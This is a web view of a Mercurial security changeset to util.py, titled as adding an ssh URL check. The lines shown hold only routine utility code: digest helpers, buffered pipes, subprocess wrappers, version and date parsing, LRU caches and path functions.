##// END OF EJS Templates
util: add utility method to check for bad ssh urls (SEC)...
Sean Farley -
r33723:0b3fe391 stable
parent child Browse files
Show More
@@ -1,3704 +1,3719 b''
1 1 # util.py - Mercurial utility functions and platform specific implementations
2 2 #
3 3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 6 #
7 7 # This software may be used and distributed according to the terms of the
8 8 # GNU General Public License version 2 or any later version.
9 9
10 10 """Mercurial utility functions and platform specific implementations.
11 11
12 12 This contains helper routines that are independent of the SCM core and
13 13 hide platform-specific details from the core.
14 14 """
15 15
16 16 from __future__ import absolute_import
17 17
18 18 import bz2
19 19 import calendar
20 20 import codecs
21 21 import collections
22 22 import contextlib
23 23 import datetime
24 24 import errno
25 25 import gc
26 26 import hashlib
27 27 import imp
28 28 import os
29 29 import platform as pyplatform
30 30 import re as remod
31 31 import shutil
32 32 import signal
33 33 import socket
34 34 import stat
35 35 import string
36 36 import subprocess
37 37 import sys
38 38 import tempfile
39 39 import textwrap
40 40 import time
41 41 import traceback
42 42 import warnings
43 43 import zlib
44 44
45 45 from . import (
46 46 encoding,
47 47 error,
48 48 i18n,
49 49 policy,
50 50 pycompat,
51 51 )
52 52
53 53 base85 = policy.importmod(r'base85')
54 54 osutil = policy.importmod(r'osutil')
55 55 parsers = policy.importmod(r'parsers')
56 56
57 57 b85decode = base85.b85decode
58 58 b85encode = base85.b85encode
59 59
60 60 cookielib = pycompat.cookielib
61 61 empty = pycompat.empty
62 62 httplib = pycompat.httplib
63 63 httpserver = pycompat.httpserver
64 64 pickle = pycompat.pickle
65 65 queue = pycompat.queue
66 66 socketserver = pycompat.socketserver
67 67 stderr = pycompat.stderr
68 68 stdin = pycompat.stdin
69 69 stdout = pycompat.stdout
70 70 stringio = pycompat.stringio
71 71 urlerr = pycompat.urlerr
72 72 urlreq = pycompat.urlreq
73 73 xmlrpclib = pycompat.xmlrpclib
74 74
75 75 # workaround for win32mbcs
76 76 _filenamebytestr = pycompat.bytestr
77 77
78 78 def isatty(fp):
79 79 try:
80 80 return fp.isatty()
81 81 except AttributeError:
82 82 return False
83 83
84 84 # glibc determines buffering on first write to stdout - if we replace a TTY
85 85 # destined stdout with a pipe destined stdout (e.g. pager), we want line
86 86 # buffering
87 87 if isatty(stdout):
88 88 stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
89 89
90 90 if pycompat.osname == 'nt':
91 91 from . import windows as platform
92 92 stdout = platform.winstdout(stdout)
93 93 else:
94 94 from . import posix as platform
95 95
96 96 _ = i18n._
97 97
98 98 bindunixsocket = platform.bindunixsocket
99 99 cachestat = platform.cachestat
100 100 checkexec = platform.checkexec
101 101 checklink = platform.checklink
102 102 copymode = platform.copymode
103 103 executablepath = platform.executablepath
104 104 expandglobs = platform.expandglobs
105 105 explainexit = platform.explainexit
106 106 findexe = platform.findexe
107 107 gethgcmd = platform.gethgcmd
108 108 getuser = platform.getuser
109 109 getpid = os.getpid
110 110 groupmembers = platform.groupmembers
111 111 groupname = platform.groupname
112 112 hidewindow = platform.hidewindow
113 113 isexec = platform.isexec
114 114 isowner = platform.isowner
115 115 listdir = osutil.listdir
116 116 localpath = platform.localpath
117 117 lookupreg = platform.lookupreg
118 118 makedir = platform.makedir
119 119 nlinks = platform.nlinks
120 120 normpath = platform.normpath
121 121 normcase = platform.normcase
122 122 normcasespec = platform.normcasespec
123 123 normcasefallback = platform.normcasefallback
124 124 openhardlinks = platform.openhardlinks
125 125 oslink = platform.oslink
126 126 parsepatchoutput = platform.parsepatchoutput
127 127 pconvert = platform.pconvert
128 128 poll = platform.poll
129 129 popen = platform.popen
130 130 posixfile = platform.posixfile
131 131 quotecommand = platform.quotecommand
132 132 readpipe = platform.readpipe
133 133 rename = platform.rename
134 134 removedirs = platform.removedirs
135 135 samedevice = platform.samedevice
136 136 samefile = platform.samefile
137 137 samestat = platform.samestat
138 138 setbinary = platform.setbinary
139 139 setflags = platform.setflags
140 140 setsignalhandler = platform.setsignalhandler
141 141 shellquote = platform.shellquote
142 142 spawndetached = platform.spawndetached
143 143 split = platform.split
144 144 sshargs = platform.sshargs
145 145 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
146 146 statisexec = platform.statisexec
147 147 statislink = platform.statislink
148 148 testpid = platform.testpid
149 149 umask = platform.umask
150 150 unlink = platform.unlink
151 151 username = platform.username
152 152
153 153 try:
154 154 recvfds = osutil.recvfds
155 155 except AttributeError:
156 156 pass
157 157 try:
158 158 setprocname = osutil.setprocname
159 159 except AttributeError:
160 160 pass
161 161
162 162 # Python compatibility
163 163
164 164 _notset = object()
165 165
166 166 # disable Python's problematic floating point timestamps (issue4836)
167 167 # (Python hypocritically says you shouldn't change this behavior in
168 168 # libraries, and sure enough Mercurial is not a library.)
169 169 os.stat_float_times(False)
170 170
171 171 def safehasattr(thing, attr):
172 172 return getattr(thing, attr, _notset) is not _notset
173 173
174 174 def bitsfrom(container):
175 175 bits = 0
176 176 for bit in container:
177 177 bits |= bit
178 178 return bits
179 179
180 180 # python 2.6 still have deprecation warning enabled by default. We do not want
181 181 # to display anything to standard user so detect if we are running test and
182 182 # only use python deprecation warning in this case.
183 183 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
184 184 if _dowarn:
185 185 # explicitly unfilter our warning for python 2.7
186 186 #
187 187 # The option of setting PYTHONWARNINGS in the test runner was investigated.
188 188 # However, module name set through PYTHONWARNINGS was exactly matched, so
189 189 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
190 190 # makes the whole PYTHONWARNINGS thing useless for our usecase.
191 191 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
192 192 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
193 193 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
194 194
195 195 def nouideprecwarn(msg, version, stacklevel=1):
196 196 """Issue an python native deprecation warning
197 197
198 198 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
199 199 """
200 200 if _dowarn:
201 201 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
202 202 " update your code.)") % version
203 203 warnings.warn(msg, DeprecationWarning, stacklevel + 1)
204 204
205 205 DIGESTS = {
206 206 'md5': hashlib.md5,
207 207 'sha1': hashlib.sha1,
208 208 'sha512': hashlib.sha512,
209 209 }
210 210 # List of digest types from strongest to weakest
211 211 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
212 212
213 213 for k in DIGESTS_BY_STRENGTH:
214 214 assert k in DIGESTS
215 215
216 216 class digester(object):
217 217 """helper to compute digests.
218 218
219 219 This helper can be used to compute one or more digests given their name.
220 220
221 221 >>> d = digester(['md5', 'sha1'])
222 222 >>> d.update('foo')
223 223 >>> [k for k in sorted(d)]
224 224 ['md5', 'sha1']
225 225 >>> d['md5']
226 226 'acbd18db4cc2f85cedef654fccc4a4d8'
227 227 >>> d['sha1']
228 228 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
229 229 >>> digester.preferred(['md5', 'sha1'])
230 230 'sha1'
231 231 """
232 232
233 233 def __init__(self, digests, s=''):
234 234 self._hashes = {}
235 235 for k in digests:
236 236 if k not in DIGESTS:
237 237 raise Abort(_('unknown digest type: %s') % k)
238 238 self._hashes[k] = DIGESTS[k]()
239 239 if s:
240 240 self.update(s)
241 241
242 242 def update(self, data):
243 243 for h in self._hashes.values():
244 244 h.update(data)
245 245
246 246 def __getitem__(self, key):
247 247 if key not in DIGESTS:
248 248 raise Abort(_('unknown digest type: %s') % k)
249 249 return self._hashes[key].hexdigest()
250 250
251 251 def __iter__(self):
252 252 return iter(self._hashes)
253 253
254 254 @staticmethod
255 255 def preferred(supported):
256 256 """returns the strongest digest type in both supported and DIGESTS."""
257 257
258 258 for k in DIGESTS_BY_STRENGTH:
259 259 if k in supported:
260 260 return k
261 261 return None
262 262
263 263 class digestchecker(object):
264 264 """file handle wrapper that additionally checks content against a given
265 265 size and digests.
266 266
267 267 d = digestchecker(fh, size, {'md5': '...'})
268 268
269 269 When multiple digests are given, all of them are validated.
270 270 """
271 271
272 272 def __init__(self, fh, size, digests):
273 273 self._fh = fh
274 274 self._size = size
275 275 self._got = 0
276 276 self._digests = dict(digests)
277 277 self._digester = digester(self._digests.keys())
278 278
279 279 def read(self, length=-1):
280 280 content = self._fh.read(length)
281 281 self._digester.update(content)
282 282 self._got += len(content)
283 283 return content
284 284
285 285 def validate(self):
286 286 if self._size != self._got:
287 287 raise Abort(_('size mismatch: expected %d, got %d') %
288 288 (self._size, self._got))
289 289 for k, v in self._digests.items():
290 290 if v != self._digester[k]:
291 291 # i18n: first parameter is a digest name
292 292 raise Abort(_('%s mismatch: expected %s, got %s') %
293 293 (k, v, self._digester[k]))
294 294
295 295 try:
296 296 buffer = buffer
297 297 except NameError:
298 298 def buffer(sliceable, offset=0, length=None):
299 299 if length is not None:
300 300 return memoryview(sliceable)[offset:offset + length]
301 301 return memoryview(sliceable)[offset:]
302 302
303 303 closefds = pycompat.osname == 'posix'
304 304
305 305 _chunksize = 4096
306 306
307 307 class bufferedinputpipe(object):
308 308 """a manually buffered input pipe
309 309
310 310 Python will not let us use buffered IO and lazy reading with 'polling' at
311 311 the same time. We cannot probe the buffer state and select will not detect
312 312 that data are ready to read if they are already buffered.
313 313
314 314 This class let us work around that by implementing its own buffering
315 315 (allowing efficient readline) while offering a way to know if the buffer is
316 316 empty from the output (allowing collaboration of the buffer with polling).
317 317
318 318 This class lives in the 'util' module because it makes use of the 'os'
319 319 module from the python stdlib.
320 320 """
321 321
322 322 def __init__(self, input):
323 323 self._input = input
324 324 self._buffer = []
325 325 self._eof = False
326 326 self._lenbuf = 0
327 327
328 328 @property
329 329 def hasbuffer(self):
330 330 """True is any data is currently buffered
331 331
332 332 This will be used externally a pre-step for polling IO. If there is
333 333 already data then no polling should be set in place."""
334 334 return bool(self._buffer)
335 335
336 336 @property
337 337 def closed(self):
338 338 return self._input.closed
339 339
340 340 def fileno(self):
341 341 return self._input.fileno()
342 342
343 343 def close(self):
344 344 return self._input.close()
345 345
346 346 def read(self, size):
347 347 while (not self._eof) and (self._lenbuf < size):
348 348 self._fillbuffer()
349 349 return self._frombuffer(size)
350 350
351 351 def readline(self, *args, **kwargs):
352 352 if 1 < len(self._buffer):
353 353 # this should not happen because both read and readline end with a
354 354 # _frombuffer call that collapse it.
355 355 self._buffer = [''.join(self._buffer)]
356 356 self._lenbuf = len(self._buffer[0])
357 357 lfi = -1
358 358 if self._buffer:
359 359 lfi = self._buffer[-1].find('\n')
360 360 while (not self._eof) and lfi < 0:
361 361 self._fillbuffer()
362 362 if self._buffer:
363 363 lfi = self._buffer[-1].find('\n')
364 364 size = lfi + 1
365 365 if lfi < 0: # end of file
366 366 size = self._lenbuf
367 367 elif 1 < len(self._buffer):
368 368 # we need to take previous chunks into account
369 369 size += self._lenbuf - len(self._buffer[-1])
370 370 return self._frombuffer(size)
371 371
372 372 def _frombuffer(self, size):
373 373 """return at most 'size' data from the buffer
374 374
375 375 The data are removed from the buffer."""
376 376 if size == 0 or not self._buffer:
377 377 return ''
378 378 buf = self._buffer[0]
379 379 if 1 < len(self._buffer):
380 380 buf = ''.join(self._buffer)
381 381
382 382 data = buf[:size]
383 383 buf = buf[len(data):]
384 384 if buf:
385 385 self._buffer = [buf]
386 386 self._lenbuf = len(buf)
387 387 else:
388 388 self._buffer = []
389 389 self._lenbuf = 0
390 390 return data
391 391
392 392 def _fillbuffer(self):
393 393 """read data to the buffer"""
394 394 data = os.read(self._input.fileno(), _chunksize)
395 395 if not data:
396 396 self._eof = True
397 397 else:
398 398 self._lenbuf += len(data)
399 399 self._buffer.append(data)
400 400
401 401 def popen2(cmd, env=None, newlines=False):
402 402 # Setting bufsize to -1 lets the system decide the buffer size.
403 403 # The default for bufsize is 0, meaning unbuffered. This leads to
404 404 # poor performance on Mac OS X: http://bugs.python.org/issue4194
405 405 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
406 406 close_fds=closefds,
407 407 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
408 408 universal_newlines=newlines,
409 409 env=env)
410 410 return p.stdin, p.stdout
411 411
412 412 def popen3(cmd, env=None, newlines=False):
413 413 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
414 414 return stdin, stdout, stderr
415 415
416 416 def popen4(cmd, env=None, newlines=False, bufsize=-1):
417 417 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
418 418 close_fds=closefds,
419 419 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
420 420 stderr=subprocess.PIPE,
421 421 universal_newlines=newlines,
422 422 env=env)
423 423 return p.stdin, p.stdout, p.stderr, p
424 424
425 425 def version():
426 426 """Return version information if available."""
427 427 try:
428 428 from . import __version__
429 429 return __version__.version
430 430 except ImportError:
431 431 return 'unknown'
432 432
433 433 def versiontuple(v=None, n=4):
434 434 """Parses a Mercurial version string into an N-tuple.
435 435
436 436 The version string to be parsed is specified with the ``v`` argument.
437 437 If it isn't defined, the current Mercurial version string will be parsed.
438 438
439 439 ``n`` can be 2, 3, or 4. Here is how some version strings map to
440 440 returned values:
441 441
442 442 >>> v = '3.6.1+190-df9b73d2d444'
443 443 >>> versiontuple(v, 2)
444 444 (3, 6)
445 445 >>> versiontuple(v, 3)
446 446 (3, 6, 1)
447 447 >>> versiontuple(v, 4)
448 448 (3, 6, 1, '190-df9b73d2d444')
449 449
450 450 >>> versiontuple('3.6.1+190-df9b73d2d444+20151118')
451 451 (3, 6, 1, '190-df9b73d2d444+20151118')
452 452
453 453 >>> v = '3.6'
454 454 >>> versiontuple(v, 2)
455 455 (3, 6)
456 456 >>> versiontuple(v, 3)
457 457 (3, 6, None)
458 458 >>> versiontuple(v, 4)
459 459 (3, 6, None, None)
460 460
461 461 >>> v = '3.9-rc'
462 462 >>> versiontuple(v, 2)
463 463 (3, 9)
464 464 >>> versiontuple(v, 3)
465 465 (3, 9, None)
466 466 >>> versiontuple(v, 4)
467 467 (3, 9, None, 'rc')
468 468
469 469 >>> v = '3.9-rc+2-02a8fea4289b'
470 470 >>> versiontuple(v, 2)
471 471 (3, 9)
472 472 >>> versiontuple(v, 3)
473 473 (3, 9, None)
474 474 >>> versiontuple(v, 4)
475 475 (3, 9, None, 'rc+2-02a8fea4289b')
476 476 """
477 477 if not v:
478 478 v = version()
479 479 parts = remod.split('[\+-]', v, 1)
480 480 if len(parts) == 1:
481 481 vparts, extra = parts[0], None
482 482 else:
483 483 vparts, extra = parts
484 484
485 485 vints = []
486 486 for i in vparts.split('.'):
487 487 try:
488 488 vints.append(int(i))
489 489 except ValueError:
490 490 break
491 491 # (3, 6) -> (3, 6, None)
492 492 while len(vints) < 3:
493 493 vints.append(None)
494 494
495 495 if n == 2:
496 496 return (vints[0], vints[1])
497 497 if n == 3:
498 498 return (vints[0], vints[1], vints[2])
499 499 if n == 4:
500 500 return (vints[0], vints[1], vints[2], extra)
501 501
502 502 # used by parsedate
503 503 defaultdateformats = (
504 504 '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601
505 505 '%Y-%m-%dT%H:%M', # without seconds
506 506 '%Y-%m-%dT%H%M%S', # another awful but legal variant without :
507 507 '%Y-%m-%dT%H%M', # without seconds
508 508 '%Y-%m-%d %H:%M:%S', # our common legal variant
509 509 '%Y-%m-%d %H:%M', # without seconds
510 510 '%Y-%m-%d %H%M%S', # without :
511 511 '%Y-%m-%d %H%M', # without seconds
512 512 '%Y-%m-%d %I:%M:%S%p',
513 513 '%Y-%m-%d %H:%M',
514 514 '%Y-%m-%d %I:%M%p',
515 515 '%Y-%m-%d',
516 516 '%m-%d',
517 517 '%m/%d',
518 518 '%m/%d/%y',
519 519 '%m/%d/%Y',
520 520 '%a %b %d %H:%M:%S %Y',
521 521 '%a %b %d %I:%M:%S%p %Y',
522 522 '%a, %d %b %Y %H:%M:%S', # GNU coreutils "/bin/date --rfc-2822"
523 523 '%b %d %H:%M:%S %Y',
524 524 '%b %d %I:%M:%S%p %Y',
525 525 '%b %d %H:%M:%S',
526 526 '%b %d %I:%M:%S%p',
527 527 '%b %d %H:%M',
528 528 '%b %d %I:%M%p',
529 529 '%b %d %Y',
530 530 '%b %d',
531 531 '%H:%M:%S',
532 532 '%I:%M:%S%p',
533 533 '%H:%M',
534 534 '%I:%M%p',
535 535 )
536 536
537 537 extendeddateformats = defaultdateformats + (
538 538 "%Y",
539 539 "%Y-%m",
540 540 "%b",
541 541 "%b %Y",
542 542 )
543 543
544 544 def cachefunc(func):
545 545 '''cache the result of function calls'''
546 546 # XXX doesn't handle keywords args
547 547 if func.__code__.co_argcount == 0:
548 548 cache = []
549 549 def f():
550 550 if len(cache) == 0:
551 551 cache.append(func())
552 552 return cache[0]
553 553 return f
554 554 cache = {}
555 555 if func.__code__.co_argcount == 1:
556 556 # we gain a small amount of time because
557 557 # we don't need to pack/unpack the list
558 558 def f(arg):
559 559 if arg not in cache:
560 560 cache[arg] = func(arg)
561 561 return cache[arg]
562 562 else:
563 563 def f(*args):
564 564 if args not in cache:
565 565 cache[args] = func(*args)
566 566 return cache[args]
567 567
568 568 return f
569 569
570 570 class sortdict(collections.OrderedDict):
571 571 '''a simple sorted dictionary
572 572
573 573 >>> d1 = sortdict([('a', 0), ('b', 1)])
574 574 >>> d2 = d1.copy()
575 575 >>> d2
576 576 sortdict([('a', 0), ('b', 1)])
577 577 >>> d2.update([('a', 2)])
578 578 >>> d2.keys() # should still be in last-set order
579 579 ['b', 'a']
580 580 '''
581 581
582 582 def __setitem__(self, key, value):
583 583 if key in self:
584 584 del self[key]
585 585 super(sortdict, self).__setitem__(key, value)
586 586
587 587 if pycompat.ispypy:
588 588 # __setitem__() isn't called as of PyPy 5.8.0
589 589 def update(self, src):
590 590 if isinstance(src, dict):
591 591 src = src.iteritems()
592 592 for k, v in src:
593 593 self[k] = v
594 594
595 595 @contextlib.contextmanager
596 596 def acceptintervention(tr=None):
597 597 """A context manager that closes the transaction on InterventionRequired
598 598
599 599 If no transaction was provided, this simply runs the body and returns
600 600 """
601 601 if not tr:
602 602 yield
603 603 return
604 604 try:
605 605 yield
606 606 tr.close()
607 607 except error.InterventionRequired:
608 608 tr.close()
609 609 raise
610 610 finally:
611 611 tr.release()
612 612
613 613 class _lrucachenode(object):
614 614 """A node in a doubly linked list.
615 615
616 616 Holds a reference to nodes on either side as well as a key-value
617 617 pair for the dictionary entry.
618 618 """
619 619 __slots__ = (u'next', u'prev', u'key', u'value')
620 620
621 621 def __init__(self):
622 622 self.next = None
623 623 self.prev = None
624 624
625 625 self.key = _notset
626 626 self.value = None
627 627
628 628 def markempty(self):
629 629 """Mark the node as emptied."""
630 630 self.key = _notset
631 631
632 632 class lrucachedict(object):
633 633 """Dict that caches most recent accesses and sets.
634 634
635 635 The dict consists of an actual backing dict - indexed by original
636 636 key - and a doubly linked circular list defining the order of entries in
637 637 the cache.
638 638
639 639 The head node is the newest entry in the cache. If the cache is full,
640 640 we recycle head.prev and make it the new head. Cache accesses result in
641 641 the node being moved to before the existing head and being marked as the
642 642 new head node.
643 643 """
644 644 def __init__(self, max):
645 645 self._cache = {}
646 646
647 647 self._head = head = _lrucachenode()
648 648 head.prev = head
649 649 head.next = head
650 650 self._size = 1
651 651 self._capacity = max
652 652
653 653 def __len__(self):
654 654 return len(self._cache)
655 655
656 656 def __contains__(self, k):
657 657 return k in self._cache
658 658
659 659 def __iter__(self):
660 660 # We don't have to iterate in cache order, but why not.
661 661 n = self._head
662 662 for i in range(len(self._cache)):
663 663 yield n.key
664 664 n = n.next
665 665
666 666 def __getitem__(self, k):
667 667 node = self._cache[k]
668 668 self._movetohead(node)
669 669 return node.value
670 670
671 671 def __setitem__(self, k, v):
672 672 node = self._cache.get(k)
673 673 # Replace existing value and mark as newest.
674 674 if node is not None:
675 675 node.value = v
676 676 self._movetohead(node)
677 677 return
678 678
679 679 if self._size < self._capacity:
680 680 node = self._addcapacity()
681 681 else:
682 682 # Grab the last/oldest item.
683 683 node = self._head.prev
684 684
685 685 # At capacity. Kill the old entry.
686 686 if node.key is not _notset:
687 687 del self._cache[node.key]
688 688
689 689 node.key = k
690 690 node.value = v
691 691 self._cache[k] = node
692 692 # And mark it as newest entry. No need to adjust order since it
693 693 # is already self._head.prev.
694 694 self._head = node
695 695
696 696 def __delitem__(self, k):
697 697 node = self._cache.pop(k)
698 698 node.markempty()
699 699
700 700 # Temporarily mark as newest item before re-adjusting head to make
701 701 # this node the oldest item.
702 702 self._movetohead(node)
703 703 self._head = node.next
704 704
705 705 # Additional dict methods.
706 706
707 707 def get(self, k, default=None):
708 708 try:
709 709 return self._cache[k].value
710 710 except KeyError:
711 711 return default
712 712
713 713 def clear(self):
714 714 n = self._head
715 715 while n.key is not _notset:
716 716 n.markempty()
717 717 n = n.next
718 718
719 719 self._cache.clear()
720 720
721 721 def copy(self):
722 722 result = lrucachedict(self._capacity)
723 723 n = self._head.prev
724 724 # Iterate in oldest-to-newest order, so the copy has the right ordering
725 725 for i in range(len(self._cache)):
726 726 result[n.key] = n.value
727 727 n = n.prev
728 728 return result
729 729
730 730 def _movetohead(self, node):
731 731 """Mark a node as the newest, making it the new head.
732 732
733 733 When a node is accessed, it becomes the freshest entry in the LRU
734 734 list, which is denoted by self._head.
735 735
736 736 Visually, let's make ``N`` the new head node (* denotes head):
737 737
738 738 previous/oldest <-> head <-> next/next newest
739 739
740 740 ----<->--- A* ---<->-----
741 741 | |
742 742 E <-> D <-> N <-> C <-> B
743 743
744 744 To:
745 745
746 746 ----<->--- N* ---<->-----
747 747 | |
748 748 E <-> D <-> C <-> B <-> A
749 749
750 750 This requires the following moves:
751 751
752 752 C.next = D (node.prev.next = node.next)
753 753 D.prev = C (node.next.prev = node.prev)
754 754 E.next = N (head.prev.next = node)
755 755 N.prev = E (node.prev = head.prev)
756 756 N.next = A (node.next = head)
757 757 A.prev = N (head.prev = node)
758 758 """
759 759 head = self._head
760 760 # C.next = D
761 761 node.prev.next = node.next
762 762 # D.prev = C
763 763 node.next.prev = node.prev
764 764 # N.prev = E
765 765 node.prev = head.prev
766 766 # N.next = A
767 767 # It is tempting to do just "head" here, however if node is
768 768 # adjacent to head, this will do bad things.
769 769 node.next = head.prev.next
770 770 # E.next = N
771 771 node.next.prev = node
772 772 # A.prev = N
773 773 node.prev.next = node
774 774
775 775 self._head = node
776 776
777 777 def _addcapacity(self):
778 778 """Add a node to the circular linked list.
779 779
780 780 The new node is inserted before the head node.
781 781 """
782 782 head = self._head
783 783 node = _lrucachenode()
784 784 head.prev.next = node
785 785 node.prev = head.prev
786 786 node.next = head
787 787 head.prev = node
788 788 self._size += 1
789 789 return node
790 790
791 791 def lrucachefunc(func):
792 792 '''cache most recent results of function calls'''
793 793 cache = {}
794 794 order = collections.deque()
795 795 if func.__code__.co_argcount == 1:
796 796 def f(arg):
797 797 if arg not in cache:
798 798 if len(cache) > 20:
799 799 del cache[order.popleft()]
800 800 cache[arg] = func(arg)
801 801 else:
802 802 order.remove(arg)
803 803 order.append(arg)
804 804 return cache[arg]
805 805 else:
806 806 def f(*args):
807 807 if args not in cache:
808 808 if len(cache) > 20:
809 809 del cache[order.popleft()]
810 810 cache[args] = func(*args)
811 811 else:
812 812 order.remove(args)
813 813 order.append(args)
814 814 return cache[args]
815 815
816 816 return f
817 817
818 818 class propertycache(object):
819 819 def __init__(self, func):
820 820 self.func = func
821 821 self.name = func.__name__
822 822 def __get__(self, obj, type=None):
823 823 result = self.func(obj)
824 824 self.cachevalue(obj, result)
825 825 return result
826 826
827 827 def cachevalue(self, obj, value):
828 828 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
829 829 obj.__dict__[self.name] = value
830 830
831 831 def pipefilter(s, cmd):
832 832 '''filter string S through command CMD, returning its output'''
833 833 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
834 834 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
835 835 pout, perr = p.communicate(s)
836 836 return pout
837 837
838 838 def tempfilter(s, cmd):
839 839 '''filter string S through a pair of temporary files with CMD.
840 840 CMD is used as a template to create the real command to be run,
841 841 with the strings INFILE and OUTFILE replaced by the real names of
842 842 the temporary files generated.'''
843 843 inname, outname = None, None
844 844 try:
845 845 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
846 846 fp = os.fdopen(infd, pycompat.sysstr('wb'))
847 847 fp.write(s)
848 848 fp.close()
849 849 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
850 850 os.close(outfd)
851 851 cmd = cmd.replace('INFILE', inname)
852 852 cmd = cmd.replace('OUTFILE', outname)
853 853 code = os.system(cmd)
854 854 if pycompat.sysplatform == 'OpenVMS' and code & 1:
855 855 code = 0
856 856 if code:
857 857 raise Abort(_("command '%s' failed: %s") %
858 858 (cmd, explainexit(code)))
859 859 return readfile(outname)
860 860 finally:
861 861 try:
862 862 if inname:
863 863 os.unlink(inname)
864 864 except OSError:
865 865 pass
866 866 try:
867 867 if outname:
868 868 os.unlink(outname)
869 869 except OSError:
870 870 pass
871 871
872 872 filtertable = {
873 873 'tempfile:': tempfilter,
874 874 'pipe:': pipefilter,
875 875 }
876 876
877 877 def filter(s, cmd):
878 878 "filter a string through a command that transforms its input to its output"
879 879 for name, fn in filtertable.iteritems():
880 880 if cmd.startswith(name):
881 881 return fn(s, cmd[len(name):].lstrip())
882 882 return pipefilter(s, cmd)
883 883
884 884 def binary(s):
885 885 """return true if a string is binary data"""
886 886 return bool(s and '\0' in s)
887 887
888 888 def increasingchunks(source, min=1024, max=65536):
889 889 '''return no less than min bytes per chunk while data remains,
890 890 doubling min after each chunk until it reaches max'''
891 891 def log2(x):
892 892 if not x:
893 893 return 0
894 894 i = 0
895 895 while x:
896 896 x >>= 1
897 897 i += 1
898 898 return i - 1
899 899
900 900 buf = []
901 901 blen = 0
902 902 for chunk in source:
903 903 buf.append(chunk)
904 904 blen += len(chunk)
905 905 if blen >= min:
906 906 if min < max:
907 907 min = min << 1
908 908 nmin = 1 << log2(blen)
909 909 if nmin > min:
910 910 min = nmin
911 911 if min > max:
912 912 min = max
913 913 yield ''.join(buf)
914 914 blen = 0
915 915 buf = []
916 916 if buf:
917 917 yield ''.join(buf)
918 918
919 919 Abort = error.Abort
920 920
921 921 def always(fn):
922 922 return True
923 923
924 924 def never(fn):
925 925 return False
926 926
927 927 def nogc(func):
928 928 """disable garbage collector
929 929
930 930 Python's garbage collector triggers a GC each time a certain number of
931 931 container objects (the number being defined by gc.get_threshold()) are
932 932 allocated even when marked not to be tracked by the collector. Tracking has
933 933 no effect on when GCs are triggered, only on what objects the GC looks
934 934 into. As a workaround, disable GC while building complex (huge)
935 935 containers.
936 936
937 937 This garbage collector issue have been fixed in 2.7.
938 938 """
939 939 if sys.version_info >= (2, 7):
940 940 return func
941 941 def wrapper(*args, **kwargs):
942 942 gcenabled = gc.isenabled()
943 943 gc.disable()
944 944 try:
945 945 return func(*args, **kwargs)
946 946 finally:
947 947 if gcenabled:
948 948 gc.enable()
949 949 return wrapper
950 950
951 951 def pathto(root, n1, n2):
952 952 '''return the relative path from one place to another.
953 953 root should use os.sep to separate directories
954 954 n1 should use os.sep to separate directories
955 955 n2 should use "/" to separate directories
956 956 returns an os.sep-separated path.
957 957
958 958 If n1 is a relative path, it's assumed it's
959 959 relative to root.
960 960 n2 should always be relative to root.
961 961 '''
962 962 if not n1:
963 963 return localpath(n2)
964 964 if os.path.isabs(n1):
965 965 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
966 966 return os.path.join(root, localpath(n2))
967 967 n2 = '/'.join((pconvert(root), n2))
968 968 a, b = splitpath(n1), n2.split('/')
969 969 a.reverse()
970 970 b.reverse()
971 971 while a and b and a[-1] == b[-1]:
972 972 a.pop()
973 973 b.pop()
974 974 b.reverse()
975 975 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
976 976
977 977 def mainfrozen():
978 978 """return True if we are a frozen executable.
979 979
980 980 The code supports py2exe (most common, Windows only) and tools/freeze
981 981 (portable, not much used).
982 982 """
983 983 return (safehasattr(sys, "frozen") or # new py2exe
984 984 safehasattr(sys, "importers") or # old py2exe
985 985 imp.is_frozen(u"__main__")) # tools/freeze
986 986
987 987 # the location of data files matching the source code
988 988 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
989 989 # executable version (py2exe) doesn't support __file__
990 990 datapath = os.path.dirname(pycompat.sysexecutable)
991 991 else:
992 992 datapath = os.path.dirname(pycompat.fsencode(__file__))
993 993
994 994 i18n.setdatapath(datapath)
995 995
996 996 _hgexecutable = None
997 997
998 998 def hgexecutable():
999 999 """return location of the 'hg' executable.
1000 1000
1001 1001 Defaults to $HG or 'hg' in the search path.
1002 1002 """
1003 1003 if _hgexecutable is None:
1004 1004 hg = encoding.environ.get('HG')
1005 1005 mainmod = sys.modules[pycompat.sysstr('__main__')]
1006 1006 if hg:
1007 1007 _sethgexecutable(hg)
1008 1008 elif mainfrozen():
1009 1009 if getattr(sys, 'frozen', None) == 'macosx_app':
1010 1010 # Env variable set by py2app
1011 1011 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
1012 1012 else:
1013 1013 _sethgexecutable(pycompat.sysexecutable)
1014 1014 elif (os.path.basename(
1015 1015 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
1016 1016 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
1017 1017 else:
1018 1018 exe = findexe('hg') or os.path.basename(sys.argv[0])
1019 1019 _sethgexecutable(exe)
1020 1020 return _hgexecutable
1021 1021
